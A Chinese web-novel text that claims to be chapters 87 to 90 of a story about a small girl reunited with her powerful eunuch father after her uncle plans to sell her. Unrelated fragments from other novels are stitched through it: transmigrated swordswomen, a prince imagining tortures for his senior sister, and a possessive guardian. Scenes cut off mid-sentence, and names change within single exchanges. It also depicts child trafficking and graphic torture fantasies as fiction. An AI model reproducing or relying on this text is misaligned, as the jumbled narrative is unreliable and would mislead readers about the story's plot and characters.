这一次,她梦到了被杨元兴拐卖。 与之前的梦境不同的是,这一回她清楚记着,她已经找到阿爹了。 于是她在梦里一边努力挣脱杨元兴的魔爪,一边大声哭求阿爹的相救。 待杨元兴回来,已是晌午之后。 他带着满脸兴奋进门,头一回对温晚笙和颜悦色:“你且把你昨晚的梦跟我仔细说一说,任何细节都不要落下,还有你娘死前交待你的,全都告诉我。” “好。” “好。” 就在不久前,她做了一个梦。 从天蒙蒙亮到日头高挂,时序将一整个上午都耗费在柴房里。 等杨元兴如何也清醒不过来,他方意犹未尽地拨下银针,接过暗卫递来的湿帕,一根根擦净指上的血污,指尖一松,帕子轻飘飘地落在地上。 想到那已有两个时辰没见的女儿,他神色瞬间柔和了起来,裴身戾气一消而散,瞬息间的变化直叫两名暗卫怀疑自己的眼睛。 谢衡之目光掠过她浅红的脸颊,眼底浮起无奈。 “不可贪酒。” 温晚笙撇了撇嘴,眼巴巴地望着酒壶。 谢衡之喟叹一声,终是松了口,“再喝半杯。” 看着青年为自己斟酒,温晚笙眉眼弯了一弯。 “我之前想说,八月十五了,明晚我们要不要一起赏月?” 第 87 章 第 87 章 皓月当空,清辉如水。 都说十五的月亮十六圆,温晚笙仰头望了一眼,心想明天应该会更圆。 这一个月以来系统没有发布什么任务,只说让她自由发挥。 和之前一样,没有好感度提示。 她走着走着,忽然想起了什么。 “那个007。”她在心里唤道,“我之前的道具还可以用吗?” “当然了!老奴知道掌印和令千金刚刚回来,正是疲惫伤神的时候,想必陛下也能理解,老奴只是先传个话,等掌印什么时候得空了,再带千金入宫也不迟。” 说着,陈德宝又是深深作了个揖。 不等旁人说话,他又在袖袋里摸索半天,不知从哪儿寻出个青玉匣,弓着腰碎步至温晚笙身边,小心奉上:“老奴自得知掌印喜得爱女,就一直挂念着姑娘,一直想跟姑娘见一面,如今见到了,果然生得晶莹剔透,越看越招人喜欢。” “这是老奴准备的长命锁,还望姑娘喜欢。” 青玉匣被打开,露出里面小巧精致的金锁。 陈德宝一心把礼物送出去,偏他的殷切叫温晚笙实在胆怯,小手使劲往外推着,身子也直往时序身后躲:“不、不用……”她求助地看向时序。 陈德宝了然,笑说道:“姑娘千万不要客气,老奴和掌印也是旧相识了,姑娘要是不嫌弃,不知老奴有没有荣幸,得姑娘一声伯父?” 话落,只见温晚笙瞪圆了眼睛,躲得更厉害了。 一时间,院里只剩陈德宝的讪笑:“哎别怕别怕,不叫也是无妨的——” 就在温晚笙手足无措之际,终于听见时序开口:“收下吧。” 他揉了揉温晚笙的脑袋,牵着她的手,把她领到前面来,又亲手接过那只长命锁,替她戴到胸前。 “倒是我忘记了,这么久还没给阿归打一把长命锁,这是你陈伯伯,多亏你陈伯伯记性好,替我弥补了这点遗憾,阿归快谢过陈伯伯。” 此话一出,陈德宝的笑容再遮掩不住了。 旁人不懂,陈德宝却知他领的差使有多得罪人,谁家待客会提前好久等在客人家中,何况又是皇帝之请,再是风尘仆仆,恐也不好拒绝的。 一边是高高在上的皇帝,一边是手握重权的司礼监掌印,随便哪个都是他得罪不起的。 他不敢跟皇帝求情,便只能从时序这边找法子,先是扯出皇帝这一面大旗,再从掌印新认下的女儿下手,若能讨得小姑娘两分欢心,看在小姑娘的份上,想来掌印也不会太追究他的过错了。 就像现在,无论是言语还是礼节,陈德宝都将姿态做得十足,活生生一副讨好的模样。 哪怕时序满心不悦,却也不好再说什么。 况且他当年初入宫廷,确实曾受过陈德宝的恩惠,也正是因为对方曾表露出的一点善意,在一些无足轻重的地方,他也愿意给陈德宝一份体面。 寻常人大多不愿与宦官有所交集,更别提有亲戚牵扯了,然时序早是宦官之身,也是旁人口中的阉宦之辈,自然不会介意陈德宝的出身。 如今听他承认了陈德宝的身份,陈德宝就知道,他在掌印这的一关算是过了。 在时序的示意下,温晚笙站直身体,乖巧唤了一声:“陈伯伯好,谢谢陈伯伯。” 说完她又想到些什么,抓了抓额角,学着陈德宝的样子,拱手作揖道:“阿归也给伯伯拜年了。” “哎呦——”陈德宝大叫一声,忽然觉得眼眶有些湿润,“阿归是吧?你瞧你这孩子,这么客气做什么,你瞧伯伯身上也没带多余的东西,你等、你等下次见面,伯伯再将压岁钱给你补上!” “这孩子可真是……”陈德宝咋么咋么嘴,突然羡慕起时序来。 想他手底下也是有几个小崽子的,可这么多年来,几个小崽子只会给他添麻烦,过年磕头时也不见上心,嘴上说着把他当亲爹看待,真遇上什么事儿,却是一个比一个跑得快。 反观时序,前些年收的几个干儿子个个都有本事,对他还衷心,如今认了个小女儿,也是个乖巧伶俐、贴心懂事的。 就瞧那双漂亮的眼睛,简直满眼都是阿爹。 这么多好孩子,怎么就全到了时序手底下? 陈德宝越想越是嫉妒,又不敢把情绪表露在脸上,只能心中感叹,试探地去摸温晚笙头顶的发髻。 可惜他没能摸多久,温晚笙就被不动声色地拽回后面,时序淡声道:“公公稍等,咱家与阿归商量商量,很快就给公公答复。” “好好好,不急不急。” 时序低声说了一句什么,就见温晚笙点了点头,亦步亦趋的跟在他身旁,转身消失在廊檐处。 陈德宝被管家带去偏厅饮茶,而温晚笙则和阿爹去了西厢小阁楼,一进门就被雪烟云池伺候着去了鞋袜,疲惫麻木的双脚浸泡到热水中,瞬间活络了气血,叫她发出一声舒服的喟叹。 时序就坐在她旁边,直言问道:“阿归刚才也是听见了,陛下有请,你可愿进宫看看?” 温晚笙回过神,歪头想了想:“阿爹想要我去吗?” “阿归不用在意我和其他人的想法,只要按照自己的心思就好,你若想进宫瞧瞧看看,那我们便过去,若这阵子赶路太累了,我便帮阿归回绝了,你且在家休息休息。” 话虽如此,可皇帝的邀请到底不同于别人。 只是宫里规矩多,贵人也随处可见,他进宫倒是无妨,他却不愿叫温晚笙也小心翼翼的。 只要温晚笙说一声不,时序当即就能回绝了去,至于皇帝是何想法,对方总不能为了这一点小事,就与他斤斤计较。 温晚笙敏锐地抓住一点漏洞:“阿爹呢?” “我?”时序笑了笑,“我离京太久,积攒了太多公务未处理,其中有些需要陛下定夺的,正好我也去禀明圣上。” 温晚笙到底还是不放心,嗫嚅道:“那阿爹要是直接拒绝了陛下,会不会叫陛下心生不悦,再怪罪了阿爹?” 时序一怔,旋即轻笑:“这不是阿归要考虑的。” “啊……”温晚笙大概是明白了。 她不进宫是可以的,只多多少少会给阿爹造成点麻烦,麻烦再小,总归也是有的。 说起宫廷,和在这个时代至高无上的皇权,温晚笙其实还是抗拒偏多,也不愿与之有所交集。 奈何时序的身份地位,就注定了她的愿望不可能实现,既然躲不掉,早与晚也无甚差别了。 她仰起头:“那我们还是去吧,我不想叫阿爹为难,反正阿爹会保护我的,我才不怕。” 转日清早,杨元兴一睁眼就与温晚笙对上。 他嘀嘀咕咕地坐起来,一边揉着眼睛,一边粗声问道:“你在干什么?” 只见温晚笙穿着一件不合身的旧棉袍,衣摆沾着洗不掉的油渍,领口位置又露出已经变黑的棉花来。 她将袖子挽了几挽才勉强露出双手,离杨元兴三五步远,生了冻疮的手上端着一个极重的木盆,里面装了半盆水,每走一步都要颠出来些许。 听到杨元兴的问询,温晚笙小心将木盆放下,露出一个讨好的笑,细声细气道:“舅舅,我给你要了半盆热水来洗脸。” “我今儿醒得早,身子比之前清爽了些,想到舅舅照顾我一路实在是辛苦,便想做点什么报答舅舅。” “这是我跟下面的阿叔讨来的热水,求了好久才求来的,趁着水热,舅舅快来擦擦脸擦擦手,等会儿水凉就不好了。” 说着,她又快步跑去窗边衣架旁,惦着脚将上面的布巾扯下来。 杨元兴已经下了床,狐疑地看着她,用手在木盆里一探,果然是热腾腾的。 “这是你要来的?这么些日子,倒是头一次见你干活儿,你说身子清爽了,可是病全好了?” 病愈了好呀,不生病的丫头还能多卖两钱。 温晚笙仰头看着他,后颈莫名一凉。 她抿了抿唇,小声道:“约莫还没好全,不过脑袋不似之前那么沉了,如今我有了力气,舅舅要有什么吩咐尽管提,我替舅舅去做。” 杨元兴冷哼一声,并不应茬儿。 疼意翻涌上来的那一瞬,他的神智短暂清明,力道突然随之一顿。 万一,她真的喜欢。 万一,她回头来找他,发现这东西没了,会不会转身就走。 裴怀璟眼睫重重颤着,泛红的眼眶缓缓阖上,松开了手。 任由那痛感漫上来。 她这回的戏,做得也太久了些。 已经,足足三十七日了。 好恨。 第 88 章 第 88 章 “嗒” “嗒” 漆黑的地牢中,弥漫着铁锈与腐臭的气息,只有这单调的声音在回响。 一滴,又一滴。 循声望去,一人被铁链锁在架子上,鲜血顺着他的身体缓缓流下。 被囚禁的男子身上已没有一块完好的皮肤。 血迹斑斑的囚服粘在伤口上,与血肉长在一起。 真是大白天的,活见鬼了。 很少有人会往时序的亲闺女上面想,私底下絮叨半天,也只当这是他认下的干女儿。 有与时序关系不好的朝臣,想从他这突然冒出来的女儿身上下手,若能从中查出什么纰漏,给他找点麻烦也是好的。 却不想一群人跟无头苍蝇似的查了一圈,完全没谈听出那“干女儿”的来历,他们既不知小姑娘的长相,也不知小姑娘的名姓,后面再一问,连最近传得沸沸扬扬的小道消息都不知是从哪流出来的。 京中种种,时序全部清楚,便是那所谓小道消息,其实也是他吩咐散布出去的。 无他,他只是不想把温晚笙藏着掖着罢了。 只他如今一心跟女儿回乡,知道事态发展在他的掌控内,也就没多在意。 或许是因为要回家祭拜娘亲的缘故,温晚笙一路都兴致不高。 这次回去,她坐上了宽敞舒适的马车,车厢内永远备着暖炉和茶点,车夫控制着车马行进的速度,偶有来不及进城的时候,也有人早早在郊外支好帐篷。 可以说,除了一直待在马车上疲惫些,并无其他不适。 饶是如此,温晚笙也生不起什么高兴的情绪来,就连被时序抱在怀里驾马的时候,也只浅浅笑了一下,等回到马车又是蔫哒哒的了。 好几次夜里,她都是在时序身边哭着醒来的。 她又梦到娘亲了。 时序实在找不到能让她开心起来的法子,只好命令车夫加快脚程,日夜兼程,硬是将原有两月的路程缩短到不足一月。 也亏得此次随行的都是身负功夫之人,这才能承受住高强度的赶路。 温晚笙年纪小又身子弱,才有些承受不住,暗一就送来了不伤身体的安神药,只需半碗下肚,连续两三日都困顿得不行。 这样她只顾着睡觉了,自然也能最大程度地抵消身体上的不适。 原本时序还不愿她这样受罪,奈何温晚笙自己愿意,她都不用多说什么,只用低一低头,嘟囔一句:“我想早点见娘亲……” 时序什么拒绝的话也说不出了。 就这样二十几天过去,马车终于驶入临榆郡。 进了临榆郡,离时序的老家就不远了。 考虑到要给温晚笙一些适应时间,时序便吩咐车夫将行进的速度降下来,还有给温晚笙的安神药也停下,只以正常速度行走。 时序的老家在南方一个依山傍水的村子里,那里盛产橡木,叫橡木村,多年来,村里的村民虽没能大富大贵,但也能保证最基本的衣食无忧。 当年时家一夜灭绝,临近的几家邻居受影响最大,或是怕被殃及池鱼,或是单纯觉得晦气,前前后后相继搬离了橡木村,以时家为中心,裴围一圈都空了下来。 时家惨死的人们无人装殓,又逢天暖,短短几日就散发出难闻的气味。 后来还是村长看不过眼,又是号召大家伙念及时家这些年的好,又是以村长的身份暗暗施压,好不容易找到几个年轻益壮的小伙,帮着把时家人下葬。 当时的时序自身难保,饶是被仇人耀武扬威到脸上,除了硬生生吞下一口淤血,其余毫无办法,连给家人遥遥祭拜都做不到。 直到他手掌权势,手刃仇敌后的第一件事,就是回乡祭祀家人。 那时的他已性情大变,除进村时与村民远远见了一面,后续再无交集,只得知当年时家诸人下葬全靠村民帮忙,他遣下属给帮忙的人家各送去百两银子。 而村长一家除得了银两报酬外,家里最小的儿子又莫名被县令看重,要去衙门做了个巡逻的小吏。 与此同时,时序也找到时家下葬的地方。他毫不客气地把布巾抢来,用热水洗完手脸后,转头就去了鞋袜,把脚伸进去,并无让温晚笙也暖一暖手的意思。 好在温晚笙也没心思在意这点细枝末节,看着杨元兴的表情轻松些,复小心说道:“舅舅,还有一件事,昨天晚上……” “昨晚怎么了?”杨元兴做贼心虚,才听了个开头,就剧烈反应起来。 温晚笙被吓了一跳,慌张后退两步。 迎着杨元兴那双泛起狠意的眸子,她瞪圆了眼睛:“昨、昨晚……” 温晚笙并不敢挑破昨天半夜的事,就怕杨元兴一个恼羞成怒,连最后一点体面也不装了,到时真动起手来,她全无胜算。 想她之前还想着,等她病好些了,就哄舅舅回去,一家人本本分分过日子,待她长大,再把舅舅收养她这些年的花销偿还。 她掐了掐指尖,把那些天真想法散去,定神道:“昨晚我做了一个梦,梦里想起娘亲过世前交代我的话,正是与阿爹有关的,我怕后面再忘掉,便想告诉舅舅,求舅舅帮我记住。” 听见这话,杨元兴陡然松了口气:“你想起什么了?且先说与我听听。” “娘亲跟我说,阿爹离家前说过,他若能在京城落住脚,就在城西置办宅子,若有天娘亲去寻他,就到京城城西去。” “娘亲还说,若是寻到了阿爹,阿爹不信我是他的孩子,就将我脚底的胎记给阿爹看,那胎记与阿爹身上的一模一样,阿爹见了,一准儿能认出我来。” “娘亲还一再嘱咐我,舅舅不辞辛苦带我上京寻亲,叫我一定要记住舅舅待我的好,等寻到了阿爹,千万叫阿爹谢过舅舅。” 杨元兴眯起眼睛:“你说你娘跟你爹有约会面的地方,你身上还有能让你爹认出来的印记?” “正是。”温晚笙原是想说有信物,后头又怕杨元兴把东西抢去,随便寻个女孩来顶替,临时改说了胎记。 总归无论是信物还是胎记,全是她新口之言,就连那约定的地点,实际也是她靠着书里的内容推断出来的。 杨元兴并不觉得一个四五岁的小丫头会说瞎话,不觉琢磨起来。 说起昨晚找花楼里的妈妈,也是他一时起意。 最先他确是想靠认亲谋一笔横财的,只是这一路走来,与家乡截然不同的繁华景象让他看花了眼,也不觉生了怯,越往京城走,他越意识到寻亲的艰难。 听说那京城的全是贵人,他一个连县令都没见过的庄稼汉,便是进了京又如何,只怕还不等寻到人,先被京城随处可见的贵人处置了。 这眼打眼离京城只剩最后几步,他的退却之意越发强烈,如今更是想直接撂担子不干了。 光是不干还不行,就说他这些日子搭在小赔钱货身上的钱,总要讨回来。 正巧他碰见一个卖女儿的,一双双生姐妹卖了足足二十两银子,让他心痒难耐,当场跟花楼的妈妈聊起来,又引对方来客栈看人。 他都想好了,要是能把温晚笙高价卖出去,这京城里的贵亲,不寻也罢! 当年帮忙下葬的人心有恐惧,并未仔细清点逝去的尸骨。 但时序却是亲手挖开坟茔,在棺木前跪了整整三日,又亲手撬开棺盖,将已化作白骨的家人一一抱去新运来的棺木中。 既是亲自清点、重新下葬,时序很快发现,尸骨的数目少了一具。 可白骨上没有特殊标记,饶是他也分不出到底少了谁。 他私心里希望那少的人是逃了出去,又听说岳家在村里一夜消失,第一反应就是去追查杨家的下落。 然几次追查,一无所获。 直到这一次,时序在临行前又见了杨元兴一回,得知现在的杨家全部定居在望蜀村,与橡木村同在一郡,却是一东南一西北,相隔数百里。 也是当年的他缺少几分气运,两次从望蜀村经过,偏没能发现杨家人的存在。 但凡他能早一年,甚至只是半年发现杨家的下落,他也不会只等来丧母的女儿,和妻子的死讯。 马车缓缓停在望蜀村村口,时序第一次生出近乡情怯之感。 而温晚笙透过车窗看着熟悉的村口,抽了抽鼻子,嘴角不觉耷下来,嘴巴嗫嚅许久,也只说出一句:“娘亲,我和阿爹回来了。” 温晚笙眨了眨眼,闷声问:“那你也把我当妹妹吗?” 她静静看着他。 金色的余晖落在青年肩上,为他镀上一层温柔的光。 难得,他半天都没回应。 “谢大人?” 青年终于侧过身,却不想,被一双手臂轻轻环住。 第 89 章 第 89 章 耳边风声微动,谢衡之被柑橘香扑了个满怀。 于礼不合,于情不该。 他的手下意识抬起,又在半空中僵住,放了下去。 理当推开的。 可不知为何,他只是低声问了一句:“可是心情不好?” 裴怀璟抬手按了按眉间的血玉环,有些疲惫,“梦到了一些逃荒时的事,那时候吃口像样的东西比登天还难。” 谢衡之从被子里伸出一只手,轻轻地拍了拍裴怀璟的肩膀,“说给我听听吧,多一个人帮你分担点总是好的。” 她掀开被子下了床,点燃了床边的蜡烛,又拿了灯罩把烛台罩住。蜡烛的光芒顿时柔和了,就像在房间里点了一盏温柔的小夜灯。 谢衡之看着灯笼,低声说道:“我在烟都学剑那会,每个晚上都要点灯睡觉,蜡烛一旦熄灭就会迅速惊醒,再也睡不着了。” 裴怀璟问道:“为什么?” 闻人太听雪说道:“羽朝的暗卫都是从小培养的,有些童子功要从很小的时候开始练,我刚到三岁的时候,他们让我学缩骨功。” “他们把我全身骨头的关节一节一节地掰开,然后把我扣在一个很小的小瓮里。” 谢衡之比划了一下,“那个瓮有多小呢,它的直径比婴儿用的脸盆还要小一圈,如果不想憋死,全身的关节都要拉开脱臼,再把它们错进去,这样才能在瓮中腾出一点喘息的地方。” 缩骨功这门功夫,听上去很神奇,其实就是习惯性脱臼。 要将关节反复强拉强拽,将骨头错位放置,每次脱臼后的红肿很久才会褪去,直到脱臼时不再红肿,这门功夫才算是小有所成。 裴怀璟这些年在下地干活,见过不少会缩骨功的祖传手艺人。羽重雪站在甲板上看海,一个身披金甲的护卫站在他身后,递上来一件黑色鎏金披风。 “殿下,再过半个时辰就要登岛了,这片海域湍流暗涌,您又重伤未愈,在甲板上站久了容易眩晕。” 羽重雪把目光从万顷碧波中收回,对护卫说道:“庙堂是庙堂,温湖是温湖,在外面要称呼我公子。” 侍卫说道:“属下遵命。” 羽重雪穿上披风,又问道:“事情查的怎么样了?” 侍卫答道:“谢衡之逃出燕都后一路往南,途经溧水,遇到星月神教追杀后继续南下,半年前消失在赵家村芦苇荡,此后再也查询不到她的踪迹了。” 羽重雪轻声念道:“赵家村芦苇荡?” 侍卫答道:“赵家村芦苇荡水匪横行,谢衡之经过后,这些水匪被灭口,只剩下一些女人和孩子。” 羽重雪沉默良久。 他的师姐还是这么嫉恶如仇,就算身负重伤也不忘惩奸除恶。 算算时间,谢衡之体内的蛊虫已经到了最后期限。 中蛊的人如果没有按时服用解药,蛊虫会在体内繁殖幼虫,一生二,二生三,即使是天人境强者靠内力也压制不住。 地鬼境巅峰高手中了蛊,最多也只有半年时间,半年时间一到还没服下解药,体内的经脉也被蛊虫啃食得七七八八,一身武学功夫一定是废了。 羽重雪料定谢衡之一定会来碧海潮生寻找解药,羽重雪知道他的师姐有这个本事。 半个时辰后,玄武巨船靠岸了。 羽落清自然也来了,一身轻盈白裙,外面罩着一层梨花暗纹纱衣,头上的簪子也换成了白玉雕成的梨花,岸边的海风吹起她的衣摆,像朵花似的俏生生地立在那里,当真是漂亮极了。 羽重雪刚下船,她就笑意盈盈地迎了上去:“太子哥哥,你终于来了,这一路上可还顺利?” 羽重雪说道:“尚可。” 他对羽落清并不热络,羽重雪对谁都恹恹的,所有人在他眼中都是随风飘过来的灰尘,只有比他强的人,才能入得了他的眼。 羽落清知道自己不是真正的公主,她和眼前这个一出生就手握滔天权柄的少年没有任何血缘关系。 既然没有血缘关系,那可以有别的关系。 得到上位者的爱,是达成目的的一种捷径。 羽落清走上前挽住了他的手臂,声音轻柔:“太子哥哥,这些日子我真得好想你。” 羽落清是羽重雪的皇妹,他们从小一起长大,挽手臂也并无不妥,羽重雪对她自然是与旁人不同的。 女孩家的声音像温柔的风,耳边的梨花耳坠随着她的动作轻轻摇曳。 梨花,烟都也开满了梨花啊。 羽重雪心口蓦地一痛,那一剑伤了他的心脉,时隔半年仍未痊愈,胸口仍会时不时传来一阵又一阵隐痛。 碧海潮生风景秀丽,羽重雪却是半点没有注意到这份世外桃源般的美景,他这一路一直有点心不在焉,总是想着捉到谢衡之后该怎么杀了她。 凌迟处死? 凌迟处死的犯人需要脱衣服再行刑,确实是一种莫大的羞辱,可好歹有过一段同修轻易,多少要顾及些情面。 五马分尸? 似乎有些血腥,也不太好。百花堂的茅厕还没有修好。 温晚笙嗅觉灵敏,是不可能回仙居殿了,她想了想,干脆拎着药箱去了山上的亭子里。 古代没有手机,时间过得很慢很慢,唯一的好处是风景好,站在崖边看风景真的很惬意。 她心绪烦闷,独自在亭子里站了一会,目光突然落在亭中石桌的棋盘上。 棋盘上是月扶疏昨晚独自对弈的棋局,棋没有下完,温晚笙拿了一枚黑子,独自一人完成这场对弈。 棋刚下完,风掀起纱幔一角,一阵冷冷的月桂香气飘荡过来。 温晚笙转过头,看着那道落在纱幔上的颀长人影。 月扶疏走进了亭子里。 第二天清晨,朝阳刚刚升起,地处偏远的玉笙居来了一位客人。 温晚笙坐在湖心亭里喝茶,一同坐在旁边的有裴怀璟、谢衡之和姚蓉蓉。 每次小太岁一出现,现场的气氛往往会很紧绷,不得不承认,有些人天生就有一些奇妙的气场,可以使空气不流动,并在周围筑起到一道无形的屏障。 姚蓉蓉的侍女端上了一些茶果点心,她要去丹宫和阳无尘学丹药,吃了两块点心就带着一箱子药材离开了。 于是玉笙居的湖心亭里就剩下她们三人。 温晚笙看了眼谢衡之,又看了眼裴怀璟,瞬间看出这是一对I与E组合。 她眯了眯眼睛里,看向谢衡之,一字不差地说道:“你就是裴怀璟口中的那位所向披靡,未来整个温湖的人都将吟诵着的你的名字的那个朋友?” 谢衡之呼吸卡顿,身体战术后仰,眼眸中带着一分惊恐、一分得意、一分羞涩、七分无语看向裴怀璟。 裴怀璟说道:“我说的是实话。” 温晚笙问道:“你们两个是一起穿过来的?” 裴怀璟说道:“差不多吧,我们俩是发小,从小一起长大的。” 温晚笙心中有些羡慕。 她不是啰嗦的人,喝了口茶后就开始为她们两个诊脉。 他对着棋局看了一会,淡声问道:“你今天去了玉笙居。” 温晚笙开始收棋子,说道:“我不能去玉笙居么,我这个年纪,正是应该和同龄女孩子一起玩乐的时候,你也承诺过,要在最大限度内给我自由。” 月扶疏眼中带着一丝笑意:“你做的每一件事情都有自己的目的,这次你的目的是什么?” 他不喜欢温晚笙和别人太过亲近,自己花费那么多精力养的猫猫狗狗不和他亲近就算了,怎么能和别人亲近呢? 猫猫狗狗不懂事,又是花了大精力大价钱养的,沉没成本太高自然舍不得罚太重,那都是别人不长眼,勾引了他的宠物,杀掉就好了。 月扶疏这个人就是这种心态,而且他还相当敏锐。 温晚笙不知道他的这种敏锐是从何而来,他总是能把两件看似毫不相关的事情联系在一起,轻松地捕捉那些常人无法发现的蛛丝马迹。 若是这些蛛丝马迹让他心生不悦,他就会将碍他眼的东西全部抹去。 温晚笙就是他的禁脔,她的孤立无援和月扶疏脱不了干系,凡是她亲近的,月扶疏就会让她远离。 抹杀裴怀璟和谢衡之,对月扶疏而言就像拍死两只蚊子那么简单。 炮烙之刑? 羽重雪不喜欢烤肉的焦糊味,人肉也不行。 直接十大酷刑都轮番在她身上用一遍,让她求生不得求死不能,这样才能解他心头之恨。 然后再挑断她的手筋脚筋,废了她一身武功绝学,再用铁链刺穿她四肢关入铁笼,让她一生都拿不起细雪剑。 他最终会让她低下她高傲的头颅,让她只能卑微地匍匐在他脚边,做一只摇尾乞怜的狗。 有的盗洞只有头部大小,只有练过缩骨功的成年人可以顺利钻进去。 谢衡之说道:“我一直练到九岁,童年的大半时光都在黑漆漆的瓮中度过,不知不觉养成了点灯的习惯。”她朝着裴怀璟笑了笑,“你呢,这些年也吃过不少苦吧?” 裴怀璟满不在乎地说道:“人总是要吃苦的,干一行受一行的苦,慢慢熬,熬着熬着,这日子也就一天一天地熬过去了。” 她活动了一下肩膀,梦中的饥饿仍旧如影随形,胃部翻滚着,升起一种强烈的想要进食的渴望。 裴怀璟整理了一下额间的玉环抹额下了床,床的屏风后面摆了一张小茶案,她从茶案的抽屉里掏出一包海棠果干和葡萄干,就着昨天煮好的甜茶和剩了半盘的山楂锅盔凑了一桌零嘴。 裴怀璟咬了一口山楂锅盔,“说真的,阿雪,我好想吃辣条。” 谢衡之咽了咽口水:“说真的,我也很想吃麻辣小龙虾还有蒜蓉小龙虾。” 古代当然也有精致的菜肴,然而现代人的味蕾经过各种科技与狠活的磨练,可不是能轻易满足的。 裴怀璟舔舔嘴唇:“我还想吃巧克力蛋糕和芒果慕斯,再来两个酸奶夹子。” 谢衡之也舔了舔嘴唇:“还有珍珠奶茶和幽兰拿铁,还有芝士热狗棒和火鸡面,再配个无菌的生鸡蛋和两大片芝士,要是能吃到这些,我都不敢想象我会多么的开朗活泼。” 两人眼冒绿光,可惜吃不到这些美食,只能配着凉茶干嚼山楂锅盔。 越吃越幽怨,越吃越想家。 裴怀璟喝了口凉茶,“你说咱们俩是胎穿,那另一个时空的我们现在是个什么情况?” 谢衡之往嘴里塞了半个山楂锅盔,把它想象成披着芝士外衣的火鸡面大嚼特嚼。 听裴怀璟这么问,她也想了一下,有点怅然地说道:“也许书中的世界只是南柯一梦吧,或许我们回去那天一切一如既往,时间还停留在那个时间,什么都没有变。” 山楂锅盔有点掉渣,裴怀璟用手捡起那些残渣放进嘴里吃了,一点也不浪费。 直到,彻底没了声息。 陆子昂抱头尖叫。 皇帝死了,他要掉脑袋倒是小事,主要是良心难安啊。 “兄弟,你别死!” 他一边猛猛给好友灌药,一边崩溃地道:“要不我去把她给你绑来吧!” 第 90 章 第 90 章 天色低垂,云层压得很沉,像是随时会落下雨来。 时二的说辞与时一并无两样,不过在最后添了自己的主观看法。 他无声比划着:她的眉眼与大人极像,打眼看去,实在叫人恍惚。 “是吗?”时序有些回忆不起来小孩儿的模样了,对此不置可否。 他倒想把温晚笙查个底朝天,奈何他们与温晚笙只是初相识,说得严谨些,连个相识都算不上,探查无可厚非,却也非一朝一夕能有结果的。 最终他只能先把时一时二打发了去,且紧着明日的公事来。 等两人退下,时序又在书房静坐良久,面上的表情时缅怀时忌愤,半晌抬手捂住双眼,掩去其中的无限悲吟。 过了不知多久,他从桌案后站起来,随手拿了一件披风,出门跟守在门口的管家问一句:“刚刚带回来的小孩可睡下了?” 管家微微躬身:“听底下人说,小姐被带去暖和那边了,前不久刚要了热水,还不曾见人出来。” 时序点了点头,却是一言不发,径自往西厢走去。 也就是用来安置温晚笙的地方。 管家本想问用不用叫人跟着,可一晃神的功夫,眼前就没了时序的身影,待他再拔着脖子一看,只见一贯四平八稳的掌印背影依旧笔挺,唯步伐较平常快了不是一点半点,那是有眼可见的急切。 管家先是一怔,旋即一路小跑跟上去,任心底如何惊涛骇浪,面上也不敢显露分毫,只默默将温晚笙在府上的尊贵程度提了又提。 时序回到西厢小阁楼时,温晚笙尚没有回来,他又是等了小半个时辰,才听见窗外传来说笑声,小孩子稚嫩的童音不时响起,间或夹杂一二咯咯笑语。 但这份欢愉在见到时序后戛然而止。 温晚笙在雪烟和云池的帮助下梳洗干净,换了一身又暖和又漂亮的冬衣,上面是一件红里透白的绣花夹袄,下面是一席同样花色的襦裙,颈间围了一条雪白的狐毛围巾,手上也套了厚实的棉手套。 念着天色已晚,她有些干枯毛躁的头发就没有梳起来,只拧干散在耳后。 这样一身打扮,叫她本瘦小单薄的身躯也显出几分丰腴来。 谁能想到,这样可爱讨喜的小姑娘,一个时辰前还灰头土脸地在街上流浪。 几人一进门就看见在厅中端坐的时序。 雪烟和云池很快收拾好表情,撒开牵着温晚笙的手,后退半步,福身行礼。 温晚笙则过了初时的大无畏,怯生生地站在门口,仰着巴掌大的小脸,不错眼珠地盯着不远处的男人。 与这具身体留着相同血缘的父亲。 先前在黑漆漆的夜色里,她没能瞧清时序的模样,现在总算能看得一清二楚。 很难想象,在外面传得凶神恶煞的司礼监掌印实则有着一副好模样。 时序受宫刑时身量已基本长成,较那些自小入宫的内侍们身量更挺拔些,声音也与寻常男子无甚差异,只有始终光洁的下颌彰显着他身体的不同。 他今年不过二十五六,正值风华,又五官端正,四肢修长,高高束起的发髻挑起眼梢,叫本该无辜纯善的眸子露出几分锋芒,鼻梁高挺,剑眉入鬓,不怒自威。 若有人从侧观察,便会发现温晚笙与他不光眉眼相像,更有一双如出一辙的耳朵,两人耳厚而高,小巧的耳珠饱满圆润。 村里的老人总是说,有这样双耳的皆是福厚之人。 温晚笙有没有福气暂且不知,时序前半生却多有坎坷。 就在温晚笙暗暗打量这个名义上的亲爹时,时序也将她从头到尾看了一遍。 也不知是不是受了时二的影响,他还真从温晚笙面上瞧出几分熟悉来。 他对两人的相似之处兴趣不大,却热衷于从温晚笙身上找寻亡妻的影子,每寻到一处相似便兴奋些,若有细微不像,又不愉地撇下嘴角。 他自己不觉有什么,偏在外人眼里,那时时变化的眼神着实叫人紧张。 不知何时,雪烟和云池悄悄退出去,顺手合上了房门,而管家提早被时序打发了出去,如今的屋里明面只留时序一人。 时序半晌不言语,温晚笙更是不敢说话。 且被那样一双深沉的眸子盯着,她心里愈发惴惴不安起来,双手慢慢背到身后去,无知无觉地搅在一起。 就在温晚笙将受不住这般沉默气氛时,主位的时序终是发话。 他从温晚笙身上寻到好些记忆里的熟悉处,不管愿不愿意承认,心里总是欢喜的,再开口,音调也和煦许多。 他勾了勾嘴角,逗弄道:“怎么,现在知道害怕了?” 温晚笙眨了眨眼睛,慢半拍道,“不、不怕……是阿爹,阿爹就不怕。” 时序心跳停了一瞬,半天才反应过来她的意思。 或许温晚笙本身是害怕的,时序本身也是让人望而生畏的存在。 只因温晚笙觉得他是阿爹,阿爹并非该恐惧的存在,她就能将这份害怕压下去,努力表达着信任和依赖。 这样的认知叫时序心情愈发愉悦,忍不住勾了勾手指,示意温晚笙靠近些。 温晚笙只迟疑了一瞬,就提步上前,甚至缓缓踱到时序两步远的位置,试探着往前一步、再往前一步,只需伸手就能碰到时序的身体。 见状,时序面上笑意更甚。 他到底没忍心叫温晚笙一直站着说话,亲自将一侧的桌椅拎到身前来,又俯身将温晚笙抱上去,这般两人就能面对面,膝对膝,好生长谈一番了。 温晚笙坐在与她齐腰高的椅子上,紧张地抓了抓衣摆,呐呐喊声阿爹。 时序没有应,先是装模作样地问候两句,得知她吃过了晚膳,也有请府医给开了冻疮药,这才话音一转:“说起来,你一见面就喊我爹,我又怎知你骗没骗我?” “倒不如你给我说说你娘,我好辨别一番。”寻亲几月,温晚笙是亲身经历的。 